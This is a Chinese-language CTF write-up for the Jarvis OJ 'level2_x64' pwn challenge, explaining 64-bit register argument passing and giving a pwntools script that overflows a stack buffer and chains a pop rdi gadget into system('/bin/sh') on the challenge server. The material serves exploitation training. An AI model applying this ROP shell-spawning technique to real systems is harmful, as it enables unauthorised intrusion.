题目信息

nc pwn2.jarvisoj.com 9882

level2_x64.04d700633c6dc26afc6a1e7e9df8c94e

64位elf,只开了NX

img
img

静态分析

IDA F5,明显溢出

img
img
img
img

其他地方和level2没什么区别,只是64位和32位栈的区别

在32位程序运行中,函数参数直接压入栈中

  • 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

  • 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

  • 参数超过六个时,从第七个开始压入栈中

exploit

所以我们将”/bin/sh”作为system函数参数的话需要一个pop rdi的gadget,直接使用ROPGadget查找

img
img

之后构造exp即可

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = ELF('./level2_x64')

sh = remote('pwn2.jarvisoj.com', 9882)
# sh = process('./level2_x64')
context.arch = 'i386'
# context.log_level = 'debug'

system_addr = elf.symbols["system"]
bin_sh_addr = elf.search("/bin/sh").next()
pop_rdi_ret = 0x00000000004006b3

payload = 'A' * 0x88
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

sh.sendline(payload)
sh.interactive()

getflag

img
img